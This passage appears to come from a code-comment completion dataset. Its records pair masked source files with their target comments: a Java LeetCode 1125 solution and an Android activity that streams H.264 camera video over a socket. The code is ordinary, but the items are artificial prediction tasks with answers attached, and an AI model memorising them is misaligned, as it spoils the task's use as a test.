List<String> p9 = Arrays.asList("jzukdzrfgvdbrunw");
List<String> p10 = Arrays.asList("gvp", "kqcrfwerywbwi");
List<List<String>> people = new ArrayList<>();
people.add(p1);
people.add(p2);
people.add(p3);
people.add(p4);
people.add(p5);
people.add(p6);
people.add(p7);
people.add(p8);
people.add(p9);
people.add(p10);
int[] ints = new Solution1125().smallestSufficientTeam(req, people);
for (int anInt : ints) {
System.out.println(anInt);
}
}
} | DragonistYJ/Algorithm | Java/Leetcode/src/Solution1125.java | 1,456 | /*
NO1125 最小的必要团队
作为项目经理,你规划了一份需求的技能清单 req_skills,并打算从备选人员名单 people 中选出些人组成一个「必要团队」( 编号为 i 的备选人员 people[i] 含有一份该备选人员掌握的技能列表)。
所谓「必要团队」,就是在这个团队中,对于所需求的技能列表 req_skills 中列出的每项技能,团队中至少有一名成员已经掌握。
我们可以用每个人的编号来表示团队中的成员:例如,团队 team = [0, 1, 3] 表示掌握技能分别为 people[0],people[1],和 people[3] 的备选人员。
请你返回 任一 规模最小的必要团队,团队成员用人员编号表示。你可以按任意顺序返回答案,本题保证答案存在。
*/ | block_comment | zh-cn | import java.util.*;
/*
NO1 <SUF>*/
public class Solution1125 {
List<Integer> ans = new ArrayList<>();
int[] peopleSkill;
int[] employed;
int aim;
public int[] smallestSufficientTeam(String[] req_skills, List<List<String>> people) {
peopleSkill = new int[people.size()];
employed = new int[people.size()];
aim = (int) Math.pow(2, req_skills.length) - 1;
HashMap<String, Integer> hashMap = new HashMap<>();
for (int i = 0; i < req_skills.length; i++) {
hashMap.put(req_skills[i], i);
}
// 构建每个人的技能值
for (int i = 0; i < people.size(); i++) {
List<String> skills = people.get(i);
for (String skill : skills) {
if (hashMap.containsKey(skill)) {
peopleSkill[i] = peopleSkill[i] | (1 << hashMap.get(skill));
}
}
}
for (int i = 0; i < people.size() - 1; i++) {
for (int j = i + 1; j < people.size(); j++) {
if (people.get(i).containsAll(people.get(j))) {
peopleSkill[j] = 0;
} else if (people.get(j).containsAll(people.get(i))) {
peopleSkill[i] = 0;
}
}
}
int x = 0;
int y = 0;
for (String req_skill : req_skills) {
int index = -1;
boolean flag = true;
for (int j = 0; j < people.size(); j++) {
if (people.get(j).contains(req_skill) && peopleSkill[j] != 0) {
if (index == -1) index = j;
else {
flag = false;
break;
}
}
}
if (flag && employed[index] == 0) {
employed[index] = 1;
y += 1;
for (String s : people.get(index)) {
x = x | (1 << hashMap.get(s));
}
}
}
for (int i = 0; i < people.size(); i++) {
if (peopleSkill[i] != 0) ans.add(i);
}
if (x != aim) seek(x, y);
int[] ret = new int[ans.size()];
ans.sort((o1, o2) -> o1 - o2);
for (int i = 0; i < ans.size(); i++) {
ret[i] = ans.get(i);
}
return ret;
}
public void seek(int sum, int peopleNum) {
if (peopleNum >= ans.size()) return;
if (sum == aim) {
ans.clear();
for (int i = 0; i < employed.length; i++) {
if (employed[i] == 1) ans.add(i);
}
return;
}
for (int i = 0; i < peopleSkill.length; i++) {
if (employed[i] == 0 && peopleSkill[i] != 0 && peopleNum < ans.size()) {
employed[i] = 1;
seek(sum | peopleSkill[i], peopleNum + 1);
employed[i] = 0;
}
}
}
public static void main(String[] args) {
String[] req = new String[]{"gvp", "jgpzzicdvgxlfix", "kqcrfwerywbwi", "jzukdzrfgvdbrunw", "k"};
List<String> p1 = Arrays.asList();
List<String> p2 = Arrays.asList();
List<String> p3 = Arrays.asList();
List<String> p4 = Arrays.asList();
List<String> p5 = Arrays.asList("jgpzzicdvgxlfix");
List<String> p6 = Arrays.asList("jgpzzicdvgxlfix", "k");
List<String> p7 = Arrays.asList("jgpzzicdvgxlfix", "kqcrfwerywbwi");
List<String> p8 = Arrays.asList("gvp");
List<String> p9 = Arrays.asList("jzukdzrfgvdbrunw");
List<String> p10 = Arrays.asList("gvp", "kqcrfwerywbwi");
List<List<String>> people = new ArrayList<>();
people.add(p1);
people.add(p2);
people.add(p3);
people.add(p4);
people.add(p5);
people.add(p6);
people.add(p7);
people.add(p8);
people.add(p9);
people.add(p10);
int[] ints = new Solution1125().smallestSufficientTeam(req, people);
for (int anInt : ints) {
System.out.println(anInt);
}
}
} | 0 | 340 | 0 |
20625_17 | /*
Copyright (c) 2013-2016 EasyDarwin.ORG. All rights reserved.
Github: https://github.com/EasyDarwin
WEChat: EasyDarwin
Website: http://www.easydarwin.org
*/
package org.easydarwin.blogdemos;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.ImageFormat;
import android.hardware.Camera;
import android.media.MediaCodec;
import android.media.MediaFormat;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.Surface;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.Toast;
import org.easydarwin.blogdemos.hw.EncoderDebugger;
import org.easydarwin.blogdemos.hw.NV21Convertor;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.net.Socket;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import static android.R.attr.data;
/**
* @CreadBy :DramaScript
* @date 2017/8/25
*/
public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback, View.OnClickListener {
String path = Environment.getExternalStorageDirectory() + "/vv831.h264";
int width = 640, height = 480;
int framerate, bitrate;
int mCameraId = Camera.CameraInfo.CAMERA_FACING_BACK;
MediaCodec mMediaCodec;
SurfaceView surfaceView;
SurfaceHolder surfaceHolder;
Camera mCamera;
NV21Convertor mConvertor;
Button btnSwitch;
boolean started = false;
private Socket socket;
private SurfaceView video_play;
private AvcDecode mPlayer = null;
private Handler handler = new Handler() {
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
switch (msg.what) {
case 1:
Toast.makeText(MainActivity.this, "开启直播失败", Toast.LENGTH_SHORT).show();
break;
case 2:
Toast.makeText(MainActivity.this, "连接服务器失败", Toast.LENGTH_SHORT).show();
break;
case 3:
if (!started) {
startPreview();
} else {
stopPreview();
}
break;
case 4:
Toast.makeText(MainActivity.this, "socket关闭了连接", Toast.LENGTH_SHORT).show();
break;
case 5:
Toast.makeText(MainActivity.this, "socket断开了连接", Toast.LENGTH_SHORT).show();
break;
}
}
};
private Thread threadListener;
@Override
protected void onCreate(Bundle savedInstanceState) {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btnSwitch = (Button) findViewById(R.id.btn_switch);
btnSwitch.setOnClickListener(this);
initMediaCodec();
surfaceView = (SurfaceView) findViewById(R.id.sv_surfaceview);
video_play = (SurfaceView) findViewById(R.id.video_play);
surfaceView.getHolder().addCallback(this);
surfaceView.getHolder().setFixedSize(getResources().getDisplayMetrics().widthPixels,
getResources().getDisplayMetrics().heightPixels);
}
@Override
protected void onResume() {
super.onResume();
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA)
!= PackageManager.PERMISSION_GRANTED) {
//申请WRITE_EXTERNAL_STORAGE权限
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.CAMERA},
1);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
doNext(requestCode, grantResults);
}
private void doNext(int requestCode, int[] grantResults) {
if (requestCode == 1) {
if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// Permission Granted
} else {
// Permission Denied
// displayFrameworkBugMessageAndExit();
Toast.makeText(this, "请在应用管理中打开“相机”访问权限!", Toast.LENGTH_LONG).show();
finish();
}
}
}
private void initMediaCodec() {
int dgree = getDgree();
framerate = 15;
bitrate = 2 * width * height * framerate / 20;
EncoderDebugger debugger = EncoderDebugger.debug(getApplicationContext(), width, height);
mConvertor = debugger.getNV21Convertor();
try {
mMediaCodec = MediaCodec.createByCodecName(debugger.getEncoderName());
MediaFormat mediaFormat;
if (dgree == 0) {
mediaFormat = MediaFormat.createVideoFormat("video/avc", height, width);
} else {
mediaFormat = MediaFormat.createVideoFormat("video/avc", width, height);
}
mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, framerate);
mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
debugger.getEncoderColorFormat());
mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
mMediaCodec.configure(mediaFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
mMediaCodec.start();
} catch (IOException e) {
e.printStackTrace();
}
}
public static int[] determineMaximumSupportedFramerate(Camera.Parameters parameters) {
int[] maxFps = new int[]{0, 0};
List<int[]> supportedFpsRanges = parameters.getSupportedPreviewFpsRange();
for (Iterator<int[]> it = supportedFpsRanges.iterator(); it.hasNext(); ) {
int[] interval = it.next();
if (interval[1] > maxFps[1] || (interval[0] > maxFps[0] && interval[1] == maxFps[1])) {
maxFps = interval;
}
}
return maxFps;
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
menu.add("看直播");
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (item.getTitle().equals("看直播")) {
Intent intent = new Intent(this, WatchMovieActivity.class);
startActivity(intent);
}
return super.onOptionsItemSelected(item);
}
private boolean ctreateCamera(SurfaceHolder surfaceHolder) {
try {
mCamera = Camera.open(mCameraId);
Camera.Parameters parameters = mCamera.getParameters();
int[] max = determineMaximumSupportedFramerate(parameters);
Camera.CameraInfo camInfo = new Camera.CameraInfo();
Camera.getCameraInfo(mCameraId, camInfo);
int cameraRotationOffset = camInfo.orientation;
int rotate = (360 + cameraRotationOffset - getDgree()) % 360;
parameters.setRotation(rotate);
parameters.setPreviewFormat(ImageFormat.NV21);
List<Camera.Size> sizes = parameters.getSupportedPreviewSizes();
parameters.setPreviewSize(width, height);
parameters.setPreviewFpsRange(max[0], max[1]);
mCamera.setParameters(parameters);
// mCamera.autoFocus(null);
int displayRotation;
displayRotation = (cameraRotationOffset - getDgree() + 360) % 360;
mCamera.setDisplayOrientation(displayRotation);
mCamera.setPreviewDisplay(surfaceHolder);
return true;
} catch (Exception e) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
String stack = sw.toString();
Toast.makeText(this, stack, Toast.LENGTH_LONG).show();
destroyCamera();
e.printStackTrace();
return false;
}
}
@Override
public void surfaceCreated(SurfaceHolder holder) {
surfaceHolder = holder;
ctreateCamera(surfaceHolder);
}
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
}
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
stopPreview();
destroyCamera();
}
Camera.PreviewCallback previewCallback = new Camera.PreviewCallback() {
byte[] mPpsSps = new byte[0];
@Override
public void onPreviewFrame(byte[] data, Camera camera) {
if (data == null) {
return;
}
ByteBuffer[] inputBuffers = mMediaCodec.getInputBuffers();
ByteBuffer[] outputBuffers = mMediaCodec.getOutputBuffers();
byte[] dst = new byte[data.length];
Camera.Size previewSize = mCamera.getParameters().getPreviewSize();
if (getDgree() == 0) {
dst = Util.rotateNV21Degree90(data, previewSize.width, previewSize.height);
} else {
dst = data;
}
try {
int bufferIndex = mMediaCodec.dequeueInputBuffer(5000000);
if (bufferIndex >= 0) {
inputBuffers[bufferIndex].clear();
mConvertor.convert(dst, inputBuffers[bufferIndex]);
mMediaCodec.queueInputBuffer(bufferIndex, 0,
inputBuffers[bufferIndex].position(),
System.nanoTime() / 1000, 0);
MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
int outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0);
while (outputBufferIndex >= 0) {
ByteBuffer outputBuffer = outputBuffers[outputBufferIndex];
byte[] outData = new byte[bufferInfo.size];
outputBuffer.get(outData);
//记录pps和sps
if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 103) {
mPpsSps = outData;
} else if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 101) {
//在关键帧前面加上pps和sps数据
byte[] iframeData = new byte[mPpsSps.length + outData.length];
System.arraycopy(mPpsSps, 0, iframeData, 0, mPpsSps.length);
System.arraycopy(outData, 0, iframeData, mPpsSps.length, outData.length);
outData = iframeData;
}
// 将数据用socket传输
writeData(outData);
mMediaCodec.releaseOutputBuffer(outputBufferIndex, false);
outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0);
}
} else {
Log.e("easypusher", "No buffer available !");
}
} catch (Exception e) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
String stack = sw.toString();
Log.e("save_log", stack);
e.printStackTrace();
} finally {
mCamera.addCallbackBuffer(dst);
}
}
};
// 输出流对象
OutputStream outputStream;
/**
* 将数据传输给服务器
*
* @param outData
*/
private void writeData(final byte[] outData) {
new Thread() {
@Override
public void run() {
try {
if (!socket.isClosed()) {
if (socket.isConnected()) {
// 步骤1:从Socket 获得输出流对象OutputStream
// 该对象作用:发送数据
outputStream = socket.getOutputStream();
// 步骤2:写入需要发送的数据到输出流对象中
outputStream.write(outData);
// 特别注意:数据的结尾加上换行符才可让服务器端的readline()停止阻塞
// 步骤3:发送数据到服务端
outputStream.flush();
byte[] temp = new byte[4];
System.arraycopy(outData, 0, temp, 0, 4);
Log.e("writeSteam", "正在写入数据长度:" + outData.length + ",前四个字节的值:" + bytesToInt(temp, 0));
} else {
Log.e("writeSteam", "发送失败,socket断开了连接");
}
} else {
Log.e("writeSteam", "发送失败,socket关闭");
}
} catch (IOException e) {
e.printStackTrace();
Log.e("writeSteam", "写入数据失败");
}
}
}.start();
}
private List<Byte> byteList = new ArrayList<>();
private List<Integer> index = new ArrayList<>();
private int flag = 0;
private void startSocketListener() {
byte[] head = {0x00, 0x00, 0x00, 0x01};
// 利用线程池直接开启一个线程 & 执行该线程
// 步骤1:创建输入流对象InputStream
threadListener = new Thread() {
@Override
public void run() {
super.run();
while (true) {
if (!socket.isClosed()) {
if (socket.isConnected()) {
try {
// 步骤1:创建输入流对象InputStream
InputStream is = socket.getInputStream();
if (is != null) {
DataInputStream input = new DataInputStream(is);
byte[] bytes = new byte[10000];
int le = input.read(bytes);
byte[] out = new byte[le];
System.arraycopy(bytes, 0, out, 0, out.length);
Util.save(out, 0, out.length, path, true);
Log.e("readSteam", "接收的数据长度:" +out.length);
if (le != -1) {
for (Byte b:byteList){
Log.e("after","上次剩余数据:"+b.byteValue());
}
for (byte data : out) {
byteList.add(data);
Log.e("tag","正在录入数据:"+data);
for (Byte b:byteList){
Log.e("tagfter","录入之后的新数据:"+b.byteValue());
}
}
for (int i = 0; i < byteList.size(); i++) {
if (i + 3 <= out.length) {
if (byteList.get(i).byteValue() == 0x00 && byteList.get(i + 1).byteValue() == 0x00 && byteList.get(i + 2).byteValue() == 0x00 && byteList.get(i + 3).byteValue() == 0x01) {
index.add(i);
}
}
}
Log.e("index","index="+index.size());
if (index.size()>=2){
//截取其中的一帧
byte[] frameBy = new byte[index.get(1)-index.get(0)];
int a = 0;
for (int i = index.get(0); i <=index.get(1)-1; i++) {
frameBy[a] = byteList.get(i).byteValue();
++a;
}
//传给H264解码器
for (byte b:frameBy){
Log.e("indecode","传入解码的数据:"+b);
}
if (frameBy.length!=0){
mPlayer.decodeH264(frameBy);
}
Log.e("tag","frameBy的长度:"+frameBy.length);
//从集合中删除上一帧之前的数据
for (int i = index.get(1)-1; i >=0; i--) {
byteList.remove(i);
}
for (Byte b:byteList){
Log.e("after","删除之后的剩余数据:"+b.byteValue());
}
index.clear();
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
} else {
// Log.e("readSteam", "接受失败,socket断开了连接");
}
} else {
// Log.e("readSteam", "接受失败,socket关闭");
}
}
}
};
threadListener.start();
}
public byte[] subBytes(byte[] src, int begin, int count) {
byte[] bs = new byte[count];
for (int i = begin; i < begin + count; i++) bs[i - begin] = src[i];
return bs;
}
public static int bytesToInt(byte[] src, int offset) {
int value;
value = (int) ((src[offset] & 0xFF)
| ((src[offset + 1] & 0xFF) << 8)
| ((src[offset + 2] & 0xFF) << 16)
| ((src[offset + 3] & 0xFF) << 24));
return value;
}
/**
* 开启预览
*/
public synchronized void startPreview() {
if (mCamera != null && !started) {
mCamera.startPreview();
int previewFormat = mCamera.getParameters().getPreviewFormat();
Camera.Size previewSize = mCamera.getParameters().getPreviewSize();
int size = previewSize.width * previewSize.height
* ImageFormat.getBitsPerPixel(previewFormat)
/ 8;
mCamera.addCallbackBuffer(new byte[size]);
mCamera.setPreviewCallbackWithBuffer(previewCallback);
started = true;
btnSwitch.setText("停止");
mPlayer = new AvcDecode(width, height, video_play.getHolder().getSurface());
startSocketListener();
}
}
/**
* 停止预览
*/
public synchronized void stopPreview() {
if (mCamera != null) {
mCamera.stopPreview();
mCamera.setPreviewCallbackWithBuffer(null);
started = false;
btnSwitch.setText("开始");
try {
if (socket != null) {
if (socket.isConnected()) {
socket.close();
}
}
} catch (IOException e) {
e.printStackTrace();
}
// threadListener.stop();
}
}
/**
* 销毁Camera
*/
protected synchronized void destroyCamera() {
if (mCamera != null) {
mCamera.stopPreview();
try {
mCamera.release();
} catch (Exception e) {
}
mCamera = null;
}
}
private int getDgree() {
int rotation = getWindowManager().getDefaultDisplay().getRotation();
int degrees = 0;
switch (rotation) {
case Surface.ROTATION_0:
degrees = 0;
break; // Natural orientation
case Surface.ROTATION_90:
degrees = 90;
break; // Landscape left
case Surface.ROTATION_180:
degrees = 180;
break;// Upside down
case Surface.ROTATION_270:
degrees = 270;
break;// Landscape right
}
return degrees;
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btn_switch:
new Thread(new Runnable() {
@Override
public void run() {
socket = App.getInstance().getSocket();
Message msg = Message.obtain();
if (socket == null) {
msg.what = 1;
handler.sendMessage(msg);
} else if (!socket.isConnected()) {
msg.what = 2;
handler.sendMessage(msg);
} else {
msg.what = 3;
handler.sendMessage(msg);
}
}
}).start();
break;
}
}
@Override
protected void onDestroy() {
super.onDestroy();
destroyCamera();
mMediaCodec.stop();
mMediaCodec.release();
mMediaCodec = null;
}
}
| DramaScript/SocketVideo-master | MainActivity.java | 4,894 | // 利用线程池直接开启一个线程 & 执行该线程 | line_comment | zh-cn | /*
Copyright (c) 2013-2016 EasyDarwin.ORG. All rights reserved.
Github: https://github.com/EasyDarwin
WEChat: EasyDarwin
Website: http://www.easydarwin.org
*/
package org.easydarwin.blogdemos;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.ImageFormat;
import android.hardware.Camera;
import android.media.MediaCodec;
import android.media.MediaFormat;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.Surface;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.Toast;
import org.easydarwin.blogdemos.hw.EncoderDebugger;
import org.easydarwin.blogdemos.hw.NV21Convertor;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.net.Socket;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import static android.R.attr.data;
/**
* @CreadBy :DramaScript
* @date 2017/8/25
*/
public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback, View.OnClickListener {
String path = Environment.getExternalStorageDirectory() + "/vv831.h264";
int width = 640, height = 480;
int framerate, bitrate;
int mCameraId = Camera.CameraInfo.CAMERA_FACING_BACK;
MediaCodec mMediaCodec;
SurfaceView surfaceView;
SurfaceHolder surfaceHolder;
Camera mCamera;
NV21Convertor mConvertor;
Button btnSwitch;
boolean started = false;
private Socket socket;
private SurfaceView video_play;
private AvcDecode mPlayer = null;
private Handler handler = new Handler() {
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
switch (msg.what) {
case 1:
Toast.makeText(MainActivity.this, "开启直播失败", Toast.LENGTH_SHORT).show();
break;
case 2:
Toast.makeText(MainActivity.this, "连接服务器失败", Toast.LENGTH_SHORT).show();
break;
case 3:
if (!started) {
startPreview();
} else {
stopPreview();
}
break;
case 4:
Toast.makeText(MainActivity.this, "socket关闭了连接", Toast.LENGTH_SHORT).show();
break;
case 5:
Toast.makeText(MainActivity.this, "socket断开了连接", Toast.LENGTH_SHORT).show();
break;
}
}
};
private Thread threadListener;
@Override
protected void onCreate(Bundle savedInstanceState) {
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btnSwitch = (Button) findViewById(R.id.btn_switch);
btnSwitch.setOnClickListener(this);
initMediaCodec();
surfaceView = (SurfaceView) findViewById(R.id.sv_surfaceview);
video_play = (SurfaceView) findViewById(R.id.video_play);
surfaceView.getHolder().addCallback(this);
surfaceView.getHolder().setFixedSize(getResources().getDisplayMetrics().widthPixels,
getResources().getDisplayMetrics().heightPixels);
}
@Override
protected void onResume() {
super.onResume();
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA)
!= PackageManager.PERMISSION_GRANTED) {
//申请WRITE_EXTERNAL_STORAGE权限
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.CAMERA},
1);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
doNext(requestCode, grantResults);
}
private void doNext(int requestCode, int[] grantResults) {
if (requestCode == 1) {
if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// Permission Granted
} else {
// Permission Denied
// displayFrameworkBugMessageAndExit();
Toast.makeText(this, "请在应用管理中打开“相机”访问权限!", Toast.LENGTH_LONG).show();
finish();
}
}
}
private void initMediaCodec() {
int dgree = getDgree();
framerate = 15;
bitrate = 2 * width * height * framerate / 20;
EncoderDebugger debugger = EncoderDebugger.debug(getApplicationContext(), width, height);
mConvertor = debugger.getNV21Convertor();
try {
mMediaCodec = MediaCodec.createByCodecName(debugger.getEncoderName());
MediaFormat mediaFormat;
if (dgree == 0) {
mediaFormat = MediaFormat.createVideoFormat("video/avc", height, width);
} else {
mediaFormat = MediaFormat.createVideoFormat("video/avc", width, height);
}
mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, framerate);
mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
debugger.getEncoderColorFormat());
mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
mMediaCodec.configure(mediaFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
mMediaCodec.start();
} catch (IOException e) {
e.printStackTrace();
}
}
public static int[] determineMaximumSupportedFramerate(Camera.Parameters parameters) {
int[] maxFps = new int[]{0, 0};
List<int[]> supportedFpsRanges = parameters.getSupportedPreviewFpsRange();
for (Iterator<int[]> it = supportedFpsRanges.iterator(); it.hasNext(); ) {
int[] interval = it.next();
if (interval[1] > maxFps[1] || (interval[0] > maxFps[0] && interval[1] == maxFps[1])) {
maxFps = interval;
}
}
return maxFps;
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
menu.add("看直播");
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (item.getTitle().equals("看直播")) {
Intent intent = new Intent(this, WatchMovieActivity.class);
startActivity(intent);
}
return super.onOptionsItemSelected(item);
}
private boolean ctreateCamera(SurfaceHolder surfaceHolder) {
try {
mCamera = Camera.open(mCameraId);
Camera.Parameters parameters = mCamera.getParameters();
int[] max = determineMaximumSupportedFramerate(parameters);
Camera.CameraInfo camInfo = new Camera.CameraInfo();
Camera.getCameraInfo(mCameraId, camInfo);
int cameraRotationOffset = camInfo.orientation;
int rotate = (360 + cameraRotationOffset - getDgree()) % 360;
parameters.setRotation(rotate);
parameters.setPreviewFormat(ImageFormat.NV21);
List<Camera.Size> sizes = parameters.getSupportedPreviewSizes();
parameters.setPreviewSize(width, height);
parameters.setPreviewFpsRange(max[0], max[1]);
mCamera.setParameters(parameters);
// mCamera.autoFocus(null);
int displayRotation;
displayRotation = (cameraRotationOffset - getDgree() + 360) % 360;
mCamera.setDisplayOrientation(displayRotation);
mCamera.setPreviewDisplay(surfaceHolder);
return true;
} catch (Exception e) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
String stack = sw.toString();
Toast.makeText(this, stack, Toast.LENGTH_LONG).show();
destroyCamera();
e.printStackTrace();
return false;
}
}
@Override
public void surfaceCreated(SurfaceHolder holder) {
surfaceHolder = holder;
ctreateCamera(surfaceHolder);
}
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
}
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
stopPreview();
destroyCamera();
}
Camera.PreviewCallback previewCallback = new Camera.PreviewCallback() {
byte[] mPpsSps = new byte[0];
@Override
public void onPreviewFrame(byte[] data, Camera camera) {
if (data == null) {
return;
}
ByteBuffer[] inputBuffers = mMediaCodec.getInputBuffers();
ByteBuffer[] outputBuffers = mMediaCodec.getOutputBuffers();
byte[] dst = new byte[data.length];
Camera.Size previewSize = mCamera.getParameters().getPreviewSize();
if (getDgree() == 0) {
dst = Util.rotateNV21Degree90(data, previewSize.width, previewSize.height);
} else {
dst = data;
}
try {
int bufferIndex = mMediaCodec.dequeueInputBuffer(5000000);
if (bufferIndex >= 0) {
inputBuffers[bufferIndex].clear();
mConvertor.convert(dst, inputBuffers[bufferIndex]);
mMediaCodec.queueInputBuffer(bufferIndex, 0,
inputBuffers[bufferIndex].position(),
System.nanoTime() / 1000, 0);
MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
int outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0);
while (outputBufferIndex >= 0) {
ByteBuffer outputBuffer = outputBuffers[outputBufferIndex];
byte[] outData = new byte[bufferInfo.size];
outputBuffer.get(outData);
//记录pps和sps
if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 103) {
mPpsSps = outData;
} else if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 101) {
//在关键帧前面加上pps和sps数据
byte[] iframeData = new byte[mPpsSps.length + outData.length];
System.arraycopy(mPpsSps, 0, iframeData, 0, mPpsSps.length);
System.arraycopy(outData, 0, iframeData, mPpsSps.length, outData.length);
outData = iframeData;
}
// 将数据用socket传输
writeData(outData);
mMediaCodec.releaseOutputBuffer(outputBufferIndex, false);
outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0);
}
} else {
Log.e("easypusher", "No buffer available !");
}
} catch (Exception e) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
String stack = sw.toString();
Log.e("save_log", stack);
e.printStackTrace();
} finally {
mCamera.addCallbackBuffer(dst);
}
}
};
// 输出流对象
OutputStream outputStream;
/**
* 将数据传输给服务器
*
* @param outData
*/
private void writeData(final byte[] outData) {
new Thread() {
@Override
public void run() {
try {
if (!socket.isClosed()) {
if (socket.isConnected()) {
// 步骤1:从Socket 获得输出流对象OutputStream
// 该对象作用:发送数据
outputStream = socket.getOutputStream();
// 步骤2:写入需要发送的数据到输出流对象中
outputStream.write(outData);
// 特别注意:数据的结尾加上换行符才可让服务器端的readline()停止阻塞
// 步骤3:发送数据到服务端
outputStream.flush();
byte[] temp = new byte[4];
System.arraycopy(outData, 0, temp, 0, 4);
Log.e("writeSteam", "正在写入数据长度:" + outData.length + ",前四个字节的值:" + bytesToInt(temp, 0));
} else {
Log.e("writeSteam", "发送失败,socket断开了连接");
}
} else {
Log.e("writeSteam", "发送失败,socket关闭");
}
} catch (IOException e) {
e.printStackTrace();
Log.e("writeSteam", "写入数据失败");
}
}
}.start();
}
private List<Byte> byteList = new ArrayList<>();
private List<Integer> index = new ArrayList<>();
private int flag = 0;
private void startSocketListener() {
byte[] head = {0x00, 0x00, 0x00, 0x01};
// 利用 <SUF>
// 步骤1:创建输入流对象InputStream
threadListener = new Thread() {
@Override
public void run() {
super.run();
while (true) {
if (!socket.isClosed()) {
if (socket.isConnected()) {
try {
// 步骤1:创建输入流对象InputStream
InputStream is = socket.getInputStream();
if (is != null) {
DataInputStream input = new DataInputStream(is);
byte[] bytes = new byte[10000];
int le = input.read(bytes);
byte[] out = new byte[le];
System.arraycopy(bytes, 0, out, 0, out.length);
Util.save(out, 0, out.length, path, true);
Log.e("readSteam", "接收的数据长度:" +out.length);
if (le != -1) {
for (Byte b:byteList){
Log.e("after","上次剩余数据:"+b.byteValue());
}
for (byte data : out) {
byteList.add(data);
Log.e("tag","正在录入数据:"+data);
for (Byte b:byteList){
Log.e("tagfter","录入之后的新数据:"+b.byteValue());
}
}
for (int i = 0; i < byteList.size(); i++) {
